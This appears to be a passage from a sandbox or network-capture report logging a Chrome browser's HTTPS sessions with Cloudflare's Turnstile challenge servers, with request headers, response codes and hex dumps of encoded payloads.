2024-12-09 17:41:52 UTC	1369	IN	Data Raw: 7a 62 44 5a 32 4d 6d 36 33 64 65 31 73 4d 48 57 76 63 65 39 35 71 54 73 70 2b 66 52 36 4b 37 4c 37 4f 57 2b 2b 4f 37 32 75 4e 66 34 2b 62 58 71 79 38 38 43 37 64 59 44 42 39 59 47 34 64 73 4b 39 51 66 4e 43 38 6a 50 44 51 67 41 35 50 49 43 36 4d 73 55 47 78 6a 39 37 77 6e 75 49 52 77 69 39 43 41 49 35 2f 44 36 39 79 72 35 47 42 72 72 2f 66 45 43 46 4f 30 4e 4e 53 45 30 43 2f 6a 32 48 69 30 66 44 6a 67 64 47 2f 6f 55 41 52 41 6b 49 43 63 35 42 53 59 37 4c 30 4e 4e 48 44 4d 76 53 46 56 42 46 55 55 35 4b 44 51 79 54 30 30 61 54 42 74 55 51 30 49 68 52 54 64 54 56 7a 68 72 54 46 34 75 57 7a 41 75 61 47 31 69 53 48 64 78 4d 30 77 7a 56 6c 6c 7a 50 56 35 79 67 49 42 53 67 32 5a 79 67 55 43 45 62 45 74 37 68 55 35 2b 59 56 74 63 59 33 39 6d 6a 57 65 48 55 56 4f Data Ascii: zbDZ2Mm63de1sMHWvce95qTsp+fR6K7L7OW++O72uNf4+bXqy88C7dYDB9YG4dsK9QfNC8jPDQgA5PIC6MsUGxj97wnuIRwi9CAI5/D69yr5GBrr/fECFO0NNSE0C/j2Hi0fDjgdG/oUARAkICc5BSY7L0NNHDMvSFVBFUU5KDQyT00aTBtUQ0IhRTdTVzhrTF4uWzAuaG1iSHdxM0wzVllzPV5ygIBSg2ZygUCEbEt7hU5+YVtcY39mjWeHUVO
2024-12-09 17:41:52 UTC	1369	IN	Data Raw: 38 4f 6a 70 61 54 66 79 4d 53 79 76 73 76 63 79 75 58 75 37 76 50 4b 33 4f 6a 58 35 74 62 4d 36 73 62 72 39 50 62 36 2f 66 66 67 2f 64 6a 61 77 74 50 62 78 50 66 4b 2b 77 51 4a 36 51 62 6f 38 67 45 43 39 64 44 58 41 67 58 5a 38 42 73 66 48 75 77 4f 33 4e 38 66 47 68 7a 68 45 2b 49 63 34 68 67 6d 44 2f 37 37 48 41 6b 76 43 2f 41 75 39 54 4d 42 4e 41 7a 31 48 76 63 6f 43 68 41 35 49 44 55 53 4a 41 38 2f 41 53 73 49 47 55 68 42 43 45 51 39 4b 79 51 75 4d 56 46 54 4b 78 55 4d 54 78 59 30 53 78 70 4a 47 46 6f 6a 54 31 35 45 52 30 56 65 55 32 46 41 61 45 39 6d 54 47 46 6c 4c 55 41 2b 53 32 56 5a 61 6c 64 7a 63 30 67 2b 67 44 6c 76 54 7a 6f 39 54 34 46 46 57 49 42 65 51 7a 36 44 65 32 32 52 5a 59 53 4e 59 55 32 44 6a 47 31 78 62 70 52 37 57 46 68 2f 56 6d 75 57 Data Ascii: 8OjpaTfyMSyvsvcyuXu7vPK3OjX5tbM6sbr9Pb6/ffg/djawtPbxPfK+wQJ6Qbo8gEC9dDXAgXZ8BsfHuwO3N8fGhzhE+Ic4hgmD/77HAkvC/Au9TMBNAz1HvcoChA5IDUSJA8/ASsIGUhBCEQ9KyQuMVFTKxUMTxY0SxpJGFojT15ER0VeU2FAaE9mTGFlLUA+S2VZaldzc0g+gDlvTzo9T4FFWIBeQz6De22RZYSNYU2DjG1xbpR7WFh/VmuW
2024-12-09 17:41:53 UTC	1369	IN	Data Raw: 69 35 35 4f 6a 46 6f 4d 66 47 75 65 6d 72 76 4f 58 7a 36 50 50 71 34 2b 6a 6d 30 63 36 2b 30 67 4c 33 37 4e 37 7a 2b 63 58 69 35 67 48 73 2f 50 34 45 2f 4f 76 79 37 75 51 52 42 52 58 31 43 2f 58 59 47 4e 62 36 37 41 6b 58 45 75 6f 68 39 2b 33 35 2b 41 50 34 35 41 77 56 47 51 51 67 4d 67 49 76 49 41 51 7a 42 6a 55 4d 44 44 77 46 4b 54 77 74 41 44 38 51 4b 7a 72 37 4f 78 59 7a 49 44 38 67 53 2f 34 38 53 53 4a 42 53 56 49 6d 4c 78 56 56 51 56 45 59 54 79 39 57 4b 31 31 61 53 56 70 59 54 44 38 65 58 44 73 6d 5a 57 68 6d 4f 32 42 6a 51 6a 73 6f 62 32 38 2f 59 6e 52 68 5a 6b 74 35 64 6c 63 35 65 46 4a 4c 51 6e 39 57 63 6c 46 37 63 6c 52 63 69 6f 52 6e 62 6f 35 4e 6b 55 69 4e 5a 55 35 55 6a 59 43 5a 56 70 65 46 6e 5a 61 65 64 47 74 66 6e 34 36 57 62 35 74 6d 69 Data Ascii: i55OjFoMfGuemrvOXz6PPq4+jm0c6+0gL37N7z+cXi5gHs/P4E/Ovy7uQRBRX1C/XYGNb67AkXEuoh9+35+AP45AwVGQQgMgIvIAQzBjUMDDwFKTwtAD8QKzr7OxYzID8gS/48SSJBSVImLxVVQVEYTy9WK11aSVpYTD8eXDsmZWhmO2BjQjsob28/YnRhZkt5dlc5eFJLQn9WclF7clRcioRnbo5NkUiNZU5UjYCZVpeFnZaedGtfn46Wb5tmi
2024-12-09 17:41:53 UTC	1369	IN	Data Raw: 52 73 4d 66 53 73 4d 62 4c 73 4d 62 42 36 50 48 34 79 2b 2f 62 36 4e 66 77 2b 65 4c 55 38 4f 63 4a 35 50 67 42 32 74 6f 42 33 39 44 6c 41 4e 38 50 30 76 48 6a 37 65 50 78 39 67 7a 63 2b 52 4c 63 36 2f 76 76 37 4f 54 37 48 53 66 68 47 42 34 66 35 77 38 51 2b 76 73 6a 37 68 30 4c 45 43 37 31 42 43 6f 63 4b 44 30 77 45 52 63 4d 4c 53 51 6a 48 6a 6a 2b 53 41 6b 67 50 53 30 41 4f 78 77 6c 45 43 74 47 54 78 4d 79 4a 78 55 72 4d 42 55 72 4a 6b 31 57 58 54 42 55 51 45 30 38 56 56 35 48 4f 56 56 4d 62 55 6c 64 5a 54 38 2f 5a 55 51 31 53 6d 52 44 57 54 4e 54 4d 30 35 4d 56 6b 78 4b 50 56 74 32 56 6b 35 68 50 33 67 38 5a 57 64 34 66 58 31 67 59 32 57 43 69 6b 31 6b 69 49 35 72 5a 34 70 57 61 33 4b 52 57 33 4b 68 6b 6f 56 76 66 59 4a 30 66 6e 53 43 65 35 78 74 68 4b Data Ascii: RsMfSsMbLsMbB6PH4y+/b6Nfw+eLU8OcJ5PgB2toB39DlAN8P0vHj7ePx9gzc+RLc6/vv7OT7HSfhGB4f5w8Q+vsj7h0LEC71BCocKD0wERcMLSQjHjj+SAkgPS0AOxwlECtGTxMyJxUrMBUrJk1WXTBUQE08VV5HOVVMbUldZT8/ZUQ1SmRDWTNTM05MVkxKPVt2Vk5hP3g8ZWd4fX1gY2WCik1kiI5rZ4pWa3KRW3KhkoVvfYJ0fnSCe5xthK
2024-12-09 17:41:53 UTC	1369	IN	Data Raw: 2b 4c 54 45 30 63 66 4e 78 39 53 32 31 64 48 61 42 62 2f 44 33 62 37 63 79 4f 4c 6d 78 4e 6e 6e 32 77 44 63 36 42 55 54 78 2b 30 4a 31 4f 54 7a 35 74 7a 6f 2b 4f 76 78 37 50 6e 2b 33 50 48 2b 47 65 54 79 41 75 49 47 2f 51 63 69 2b 4f 63 4b 4a 53 2f 72 44 69 6f 53 41 78 49 59 4c 41 67 57 48 41 34 4f 47 77 39 44 2b 78 33 2b 47 68 55 6c 47 42 30 4e 4a 30 49 71 47 79 77 67 4a 68 34 76 44 79 34 71 4d 7a 67 74 46 44 56 68 47 53 73 38 4c 32 51 79 51 44 52 59 4d 30 4e 49 4e 53 52 47 53 79 30 36 53 6b 38 74 51 56 46 45 52 54 42 54 66 54 6c 4b 56 6e 46 41 51 56 75 46 50 56 5a 66 59 30 56 57 5a 46 68 5a 52 47 65 42 6b 46 35 72 59 49 52 65 63 47 4f 55 59 6e 4b 64 56 57 6c 31 56 33 6c 67 66 58 42 31 5a 6e 35 66 63 6e 53 44 69 48 70 32 68 33 79 67 65 6f 75 51 6a 6f 43 Data Ascii: +LTE0cfNx9S21dHaBb/D3b7cyOLmxNnn2wDc6BUTx+0J1OTz5tzo+Ovx7Pn+3PH+GeTyAuIG/Qci+OcKJS/rDioSAxIYLAgWHA4OGw9D+x3+GhUlGB0NJ0IqGywgJh4vDy4qMzgtFDVhGSs8L2QyQDRYM0NINSRGSy06Sk8tQVFERTBTfTlKVnFAQVuFPVZfY0VWZFhZRGeBkF5rYIRecGOUYnKdVWl1V3lgfXB1Zn5fcnSDiHp2h3ygeouQjoC
2024-12-09 17:41:53 UTC	1369	IN	Data Raw: 4e 6a 4f 30 65 4c 72 39 75 2f 59 34 4e 62 52 36 76 50 2b 39 2b 44 6f 33 66 44 4c 2b 2b 38 45 43 75 76 53 35 65 33 37 44 67 7a 6e 2b 4e 63 4a 36 76 33 78 42 76 58 2b 33 76 58 38 43 43 4c 35 41 68 41 69 49 50 73 4c 4a 6a 41 47 47 41 4d 6c 42 42 59 4b 48 67 34 6e 39 76 77 38 49 44 5a 45 51 53 49 38 52 43 67 30 4b 41 6c 49 4b 51 64 4d 49 6a 52 46 51 45 73 78 4a 6b 4d 55 51 79 68 4d 56 44 51 5a 56 44 4a 4c 50 31 45 77 51 6a 5a 67 4f 6b 78 49 61 44 35 58 59 56 78 72 54 55 4a 76 4d 47 42 45 61 48 52 51 4e 54 56 4f 61 46 74 74 54 46 35 53 59 6c 5a 6f 56 49 52 45 64 57 6d 41 57 6d 79 52 66 56 78 75 59 6b 31 6d 67 58 57 4d 5a 6e 68 54 6d 47 36 4a 66 5a 52 74 67 4b 57 52 63 49 4a 32 71 48 71 56 69 61 42 35 6a 47 65 73 67 70 32 52 71 49 43 55 75 61 57 45 6c 6f 71 34 Data Ascii: NjO0eLr9u/Y4NbR6vP+9+Do3fDL++8ECuvS5e37Dgzn+NcJ6v3xBvX+3vX8CCL5AhAiIPsLJjAGGAMlBBYKHg4n9vw8IDZEQSI8RCg0KAlIKQdMIjRFQEsxJkMUQyhMVDQZVDJLP1EwQjZgOkxIaD5XYVxrTUJvMGBEaHRQNTVOaFttTF5SYlZoVIREdWmAWmyRfVxuYk1mgXWMZnhTmG6JfZRtgKWRcIJ2qHqViaB5jGesgp2RqICUuaWEloq4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	49751	104.18.95.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:54 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/457009411:1733764360:aRg59TFp1OaI8N3nms2oLtLRWIfPtC0oPIhQYUzdBuM/8ef6c997a86442ad/_cseFwbR5uxQq4PfUG_ziYTu0z6kkpOVCPujpnWiXkM-1733766101-1.1.1.1-vL1CA2AtL3EdsjEAXym3NkSt74DVDhri37ZdlfJcVcPPMA5Sq8JnJVPGfRKVgKuE HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:54 UTC	379	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 17:41:54 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: pf9LmYck1j3M9tygGwrJ9SClFK/JCNOWx5M=$vTJuWXuzNr0ptnp4 Server: cloudflare CF-RAY: 8ef6c9e91b5f42dd-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:54 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	49752	104.18.94.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:01 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/457009411:1733764360:aRg59TFp1OaI8N3nms2oLtLRWIfPtC0oPIhQYUzdBuM/8ef6c997a86442ad/_cseFwbR5uxQq4PfUG_ziYTu0z6kkpOVCPujpnWiXkM-1733766101-1.1.1.1-vL1CA2AtL3EdsjEAXym3NkSt74DVDhri37ZdlfJcVcPPMA5Sq8JnJVPGfRKVgKuE HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34139 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: _cseFwbR5uxQq4PfUG_ziYTu0z6kkpOVCPujpnWiXkM-1733766101-1.1.1.1-vL1CA2AtL3EdsjEAXym3NkSt74DVDhri37ZdlfJcVcPPMA5Sq8JnJVPGfRKVgKuE sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:01 UTC	16384	OUT	Data Raw: 76 5f 38 65 66 36 63 39 39 37 61 38 36 34 34 32 61 64 3d 67 47 62 6a 35 49 31 6b 37 49 37 4d 47 44 6b 71 6f 39 44 56 6a 51 4a 32 66 31 55 4d 53 41 31 4b 44 57 6a 55 75 39 31 69 77 44 4d 66 31 6b 75 31 70 44 73 66 53 47 66 44 4e 55 44 57 75 62 61 6f 44 64 44 49 48 66 66 44 77 4a 49 30 6b 57 39 44 57 46 44 66 66 57 39 44 6c 4a 31 4f 4a 59 67 62 49 6d 44 73 4a 44 4e 4e 44 4f 48 66 4a 6a 6a 44 7a 4c 45 44 2d 69 66 44 59 44 55 48 66 44 69 31 71 49 78 44 78 59 68 30 37 37 63 79 44 57 4e 62 44 44 6d 47 6a 31 6d 53 63 66 44 53 45 78 70 62 2d 61 39 78 38 7a 70 44 49 4e 51 75 50 61 48 43 4f 78 70 53 31 46 75 75 34 44 7a 78 41 68 31 6a 50 38 2d 49 44 49 46 53 4f 78 65 44 32 62 44 42 54 73 4a 47 34 30 6b 31 6f 6f 58 4b 4f 73 73 47 68 66 67 77 2d 25 32 62 79 33 6c 78 Data Ascii: v_8ef6c997a86442ad=gGbj5I1k7I7MGDkqo9DVjQJ2f1UMSA1KDWjUu91iwDMf1ku1pDsfSGfDNUDWubaoDdDIHffDwJI0kW9DWFDffW9DlJ1OJYgbImDsJDNNDOHfJjjDzLED-ifDYDUHfDi1qIxDxYh077cyDWNbDDmGj1mScfDSExpb-a9x8zpDINQuPaHCOxpS1Fuu4DzxAh1jP8-IDIFSOxeD2bDBTsJG40k1ooXKOssGhfgw-%2by3lx
2024-12-09 17:42:01 UTC	16384	OUT	Data Raw: 44 47 6a 76 6b 67 24 33 6f 77 39 31 69 43 58 43 41 44 44 65 53 6a 49 62 31 41 44 62 6a 64 6a 44 46 44 68 33 57 62 49 55 44 31 6a 63 6f 31 4a 44 33 44 32 66 44 46 44 52 6b 78 71 66 4d 44 63 6a 46 4a 49 6b 44 32 44 44 62 57 68 44 71 6a 46 71 35 7a 44 7a 6a 46 37 44 39 44 70 6a 61 37 49 46 44 77 6a 31 71 57 70 44 52 6a 32 6a 46 4f 78 4b 44 31 6f 49 78 66 78 44 49 44 31 71 44 4a 6e 64 24 31 72 44 71 44 78 39 31 71 44 63 70 63 66 61 75 31 59 44 6f 4a 53 6f 31 6e 49 55 4a 53 5a 4a 52 66 32 5a 44 44 44 70 54 49 49 37 31 72 32 38 78 57 52 62 44 44 61 69 56 62 66 6a 71 4c 79 77 2d 63 66 63 78 44 32 44 71 6a 73 2b 44 48 44 6e 37 57 4d 49 7a 6a 38 6e 63 78 57 24 4a 4d 6a 77 42 39 78 31 45 44 53 62 53 78 44 68 6a 42 62 61 56 66 30 6a 77 62 61 4d 37 4d 6a 6c 62 55 6f Data Ascii: DGjvkg$3ow91iCXCADDeSjIb1ADbjdjDFDh3WbIUD1jco1JD3D2fDFDRkxqfMDcjFJIkD2DDbWhDqjFq5zDzjF7D9Dpja7IFDwj1qWpDRj2jFOxKD1oIxfxDID1qDJnd$1rDqDx91qDcpcfau1YDoJSo1nIUJSZJRf2ZDDDpTII71r28xWRbDDaiVbfjqLyw-cfcxD2Dqjs+DHDn7WMIzj8ncxW$JMjwB9x1EDSbSxDhjBbaVf0jwbaM7MjlbUo
2024-12-09 17:42:01 UTC	1371	OUT	Data Raw: 49 5a 66 4d 59 6b 59 6c 39 44 75 62 6b 70 2b 59 4a 38 67 4a 71 49 70 44 71 44 31 7a 6c 73 45 4a 77 6c 4e 57 59 4a 33 44 55 63 54 47 44 45 44 61 4a 75 56 4e 51 59 67 68 59 74 58 5a 72 71 4b 49 5a 6a 4d 66 64 69 57 50 44 4c 4b 72 67 30 34 53 50 62 38 62 70 76 44 63 6c 6e 58 46 76 44 67 6a 53 4b 7a 31 59 6c 74 4c 6d 46 61 4f 2d 44 49 57 45 53 33 45 66 55 39 57 74 61 48 79 6b 4e 6d 55 44 41 79 2d 77 30 59 44 6f 4f 69 4f 4d 74 77 44 4f 42 6f 44 55 79 49 6f 32 5a 44 62 44 6e 37 4d 41 6e 7a 73 54 46 33 66 44 71 44 70 33 70 6a 49 59 53 6a 66 55 6a 39 52 79 7a 47 53 79 58 67 67 34 4b 4c 34 41 47 44 72 44 78 72 73 58 62 4e 5a 67 37 49 4a 73 62 6c 69 79 65 35 67 43 44 67 65 46 32 4d 6b 4a 4d 66 57 44 30 52 79 71 2b 57 35 61 6c 7a 6c 50 6d 44 4c 32 41 6a 4a 31 72 31 Data Ascii: IZfMYkYl9Dubkp+YJ8gJqIpDqD1zlsEJwlNWYJ3DUcTGDEDaJuVNQYghYtXZrqKIZjMfdiWPDLKrg04SPb8bpvDclnXFvDgjSKz1YltLmFaO-DIWES3EfU9WtaHykNmUDAy-w0YDoOiOMtwDOBoDUyIo2ZDbDn7MAnzsTF3fDqDp3pjIYSjfUj9RyzGSyXgg4KL4AGDrDxrsXbNZg7IJsbliye5gCDgeF2MkJMfWD0Ryq+W5alzlPmDL2AjJ1r1
2024-12-09 17:42:02 UTC	286	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:42:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4576 Connection: close cf-chl-out: HQAMItIAd61X34uQMvkzgDVlKUtgoMSH3X9UBWe8MvpAsvCpucDYGoeJ+GbEyni7Gk/mMPWhVoAXBmiXMj6eKyC1G/5V1cRFi0sax//MHwnrnJawmB9vuZg=$THbS3MC/Nm3X16/t
2024-12-09 17:42:02 UTC	1247	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 38 73 74 6d 61 44 4f 78 73 4b 4a 53 6a 47 46 47 68 61 35 7a 48 43 78 71 63 62 39 66 2b 76 50 74 78 73 43 45 72 4d 30 37 73 73 74 70 33 43 35 35 5a 35 36 39 2f 31 2b 6d 46 4e 53 37 35 47 62 49 2f 66 70 6c 78 4b 4b 31 6a 61 70 7a 56 59 45 75 52 53 52 47 43 56 52 39 6a 35 66 6f 78 37 35 6b 53 49 59 63 59 54 6f 65 30 4a 77 4f 30 36 38 32 61 39 77 48 4d 52 59 2f 44 6f 43 42 65 62 47 55 2b 75 4e 30 42 50 6b 59 62 44 75 4a 39 78 38 73 46 63 42 49 61 74 43 43 42 6e 79 61 7a 50 4f 76 4b 41 48 75 36 46 74 53 76 43 61 79 6e 78 2f 55 6e 41 68 66 35 79 69 63 62 38 73 6f 7a 41 61 70 65 79 4a 46 2f 38 72 4d 5a 76 66 6f 30 74 4e 4e 4a 44 63 2f 6d 6d 71 63 77 38 56 70 2b 2f 45 53 36 72 39 79 2f 44 56 4f 71 67 2f 4d 32 33 75 75 53 Data Ascii: cf-chl-out-s: 8stmaDOxsKJSjGFGha5zHCxqcb9f+vPtxsCErM07sstp3C55Z569/1+mFNS75GbI/fplxKK1japzVYEuRSRGCVR9j5fox75kSIYcYToe0JwO0682a9wHMRY/DoCBebGU+uN0BPkYbDuJ9x8sFcBIatCCBnyazPOvKAHu6FtSvCaynx/UnAhf5yicb8sozAapeyJF/8rMZvfo0tNNJDc/mmqcw8Vp+/ES6r9y/DVOqg/M23uuS
2024-12-09 17:42:02 UTC	1205	IN	Data Raw: 6d 34 61 71 71 5a 4f 34 79 72 6d 4c 70 63 72 44 6b 4e 53 79 74 64 4b 79 71 71 79 70 6b 39 75 63 30 4b 6a 4c 76 72 65 6a 77 39 62 68 30 4d 50 6c 34 37 32 70 33 62 6d 36 35 73 62 77 33 4f 6e 71 39 4f 44 74 73 66 58 50 74 76 6e 30 30 66 44 72 37 65 37 45 2f 64 7a 34 77 4d 72 69 36 41 4c 61 78 66 6a 65 30 73 33 74 35 4e 44 67 34 4f 58 6c 36 50 45 49 36 76 6f 67 37 52 7a 61 39 51 34 6b 49 75 55 49 4b 51 6f 56 4a 67 6a 72 48 2f 33 2b 36 53 48 6e 39 68 44 76 37 7a 41 75 47 69 6c 41 48 68 34 78 4f 43 77 6d 49 69 4d 5a 4d 7a 59 6f 52 41 6c 4f 44 6b 6b 50 4b 45 78 4f 4e 6c 4a 42 45 46 45 77 4b 52 6c 65 4f 54 4a 67 49 46 4a 44 4c 56 46 4f 4e 6a 68 49 58 69 4a 6c 59 43 78 4e 5a 69 78 62 62 46 4a 6c 58 32 35 5a 54 44 52 46 57 45 64 78 65 6d 6c 66 50 48 56 4f 64 6d 5a Data Ascii: m4aqqZO4yrmLpcrDkNSytdKyqqypk9uc0KjLvrejw9bh0MPl472p3bm65sbw3Onq9ODtsfXPtvn00fDr7e7E/dz4wMri6ALaxfje0s3t5NDg4OXl6PEI6vog7Rza9Q4kIuUIKQoVJgjrH/3+6SHn9hDv7zAuGilAHh4xOCwmIiMZMzYoRAlODkkPKExONlJBEFEwKRleOTJgIFJDLVFONjhIXiJlYCxNZixbbFJlX25ZTDRFWEdxemlfPHVOdmZ
2024-12-09 17:42:02 UTC	1369	IN	Data Raw: 6a 39 55 4e 55 70 46 4b 46 6b 75 53 69 73 6d 4f 30 64 57 4b 6b 78 44 48 45 39 65 56 45 67 69 51 44 78 4b 59 47 5a 63 53 6c 30 36 5a 45 46 30 56 30 70 48 61 44 56 5a 4e 55 35 33 62 45 35 37 66 6d 4e 36 67 45 42 34 65 48 6c 57 58 47 75 49 68 58 42 65 6a 34 70 37 69 4a 43 49 66 31 47 4e 5a 48 74 58 64 70 4e 79 67 4a 78 69 6a 35 70 67 6d 35 69 46 6d 58 6d 54 6e 49 36 6e 6a 49 71 62 70 70 43 4f 6c 61 6d 4a 68 70 4b 77 6f 35 79 4b 71 71 71 67 6c 34 2b 56 6a 72 57 59 70 4b 69 6e 6c 35 36 2f 68 4c 32 36 72 36 37 4f 78 4b 37 54 78 62 61 6d 74 36 61 37 30 71 33 53 73 4a 71 2b 6e 39 48 59 76 73 57 36 79 4c 72 54 79 38 7a 4e 35 74 69 2b 33 4f 72 62 30 36 37 4f 79 4f 7a 4f 38 38 33 38 2b 4f 62 76 75 41 4c 4e 39 51 55 43 32 76 66 38 33 73 66 37 41 50 6e 57 2b 78 45 4a Data Ascii: j9UNUpFKFkuSismO0dWKkxDHE9eVEgiQDxKYGZcSl06ZEF0V0pHaDVZNU53bE57fmN6gEB4eHlWXGuIhXBej4p7iJCIf1GNZHtXdpNygJxij5pgm5iFmXmTnI6njIqbppCOlamJhpKwo5yKqqqgl4+VjrWYpKinl56/hL26r67OxK7Txbamt6a70q3SsJq+n9HYvsW6yLrTy8zN5ti+3Orb067OyOzO8838+ObvuALN9QUC2vf83sf7APnW+xEJ
2024-12-09 17:42:02 UTC	1369	IN	Data Raw: 46 57 4e 52 6c 4a 55 31 6b 72 50 54 6f 72 4f 55 4a 43 59 45 49 30 4a 45 45 72 48 79 34 74 53 79 70 67 4b 6b 64 71 53 79 39 4a 64 6b 56 38 5a 6a 59 30 66 57 70 57 63 32 52 4e 59 32 46 2b 5a 46 56 39 59 46 64 5a 64 32 4a 61 68 30 6c 6b 6b 33 57 50 67 5a 68 31 6d 47 79 64 64 56 56 78 6f 58 47 5a 64 56 2b 61 6c 57 47 43 57 35 36 6c 5a 70 61 58 6c 36 64 37 62 6f 2b 31 64 49 4f 46 64 70 65 6a 73 62 4e 36 65 72 65 34 6b 4a 47 35 70 61 32 6c 75 72 43 79 6b 37 37 49 7a 62 32 33 70 62 6d 68 6a 5a 53 2f 31 61 6e 42 78 4d 6d 62 31 35 50 61 6d 61 44 4b 34 4c 65 6a 33 4d 57 6e 71 4e 62 62 70 74 6a 57 33 71 6a 63 36 74 50 76 73 2f 4c 48 36 4f 32 77 34 37 48 6b 76 65 66 62 79 2f 69 34 38 50 6a 65 2f 4f 50 5a 31 67 66 70 78 74 76 70 36 39 7a 4f 35 77 55 4c 7a 4e 51 44 44 Data Ascii: FWNRlJU1krPTorOUJCYEI0JEErHy4tSypgKkdqSy9JdkV8ZjY0fWpWc2RNY2F+ZFV9YFdZd2Jah0lkk3WPgZh1mGyddVVxoXGZdV+alWGCW56lZpaXl6d7bo+1dIOFdpejsbN6ere4kJG5pa2lurCyk77Izb23pbmhjZS/1anBxMmb15PamaDK4Lej3MWnqNbbptjW3qjc6tPvs/LH6O2w47Hkvefby/i48Pje/OPZ1gfpxtvp69zO5wULzNQDD
2024-12-09 17:42:02 UTC	633	IN	Data Raw: 63 4c 6a 70 56 48 54 5a 48 52 45 52 59 55 6c 6f 37 51 6b 68 68 5a 69 6c 6e 5a 55 46 48 54 56 39 56 64 46 42 6e 63 47 56 57 58 33 56 65 57 58 51 2b 59 31 31 6d 56 31 64 55 62 45 4e 35 5a 6d 6c 68 58 6b 74 76 63 46 57 42 67 6e 64 5a 6d 6e 65 53 69 58 65 52 63 58 5a 64 67 46 79 6c 63 6f 53 61 6d 49 69 4d 59 32 6d 4f 6b 47 75 4b 6b 35 36 42 6f 5a 43 70 68 6e 46 31 72 4a 75 6c 69 71 78 34 6c 70 4b 64 6c 49 47 63 73 72 75 34 67 4b 65 63 70 36 61 76 69 4d 7a 47 72 37 53 6d 77 4c 47 6e 7a 4c 48 4b 72 62 62 63 74 5a 71 36 33 73 79 65 76 74 48 56 32 37 62 56 33 61 66 59 37 38 2b 71 30 71 7a 65 35 39 61 78 35 38 62 53 37 4e 65 30 72 38 6a 56 75 37 6e 61 34 76 72 76 77 2f 48 6e 2b 4e 6e 35 78 38 72 63 36 77 62 38 38 2f 7a 51 36 68 50 33 30 42 45 52 43 64 54 36 37 51 Data Ascii: cLjpVHTZHRERYUlo7QkhhZilnZUFHTV9VdFBncGVWX3VeWXQ+Y11mV1dUbEN5ZmlhXktvcFWBgndZmneSiXeRcXZdgFylcoSamIiMY2mOkGuKk56BoZCphnF1rJuliqx4lpKdlIGcsru4gKecp6aviMzGr7SmwLGnzLHKrbbctZq63syevtHV27bV3afY78+q0qze59ax58bS7Ne0r8jVu7na4vrvw/Hn+Nn5x8rc6wb88/zQ6hP30BERCdT67Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	49753	104.18.95.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:03 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/457009411:1733764360:aRg59TFp1OaI8N3nms2oLtLRWIfPtC0oPIhQYUzdBuM/8ef6c997a86442ad/_cseFwbR5uxQq4PfUG_ziYTu0z6kkpOVCPujpnWiXkM-1733766101-1.1.1.1-vL1CA2AtL3EdsjEAXym3NkSt74DVDhri37ZdlfJcVcPPMA5Sq8JnJVPGfRKVgKuE HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:42:04 UTC	379	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 17:42:04 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: X4qRR9OG5uoJr/WFc75yjoTclHeLU8wlS+0=$yFsrgfrfKSEBbYif Server: cloudflare CF-RAY: 8ef6ca236bfe4304-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:42:04 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.17	49755	192.185.25.241	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
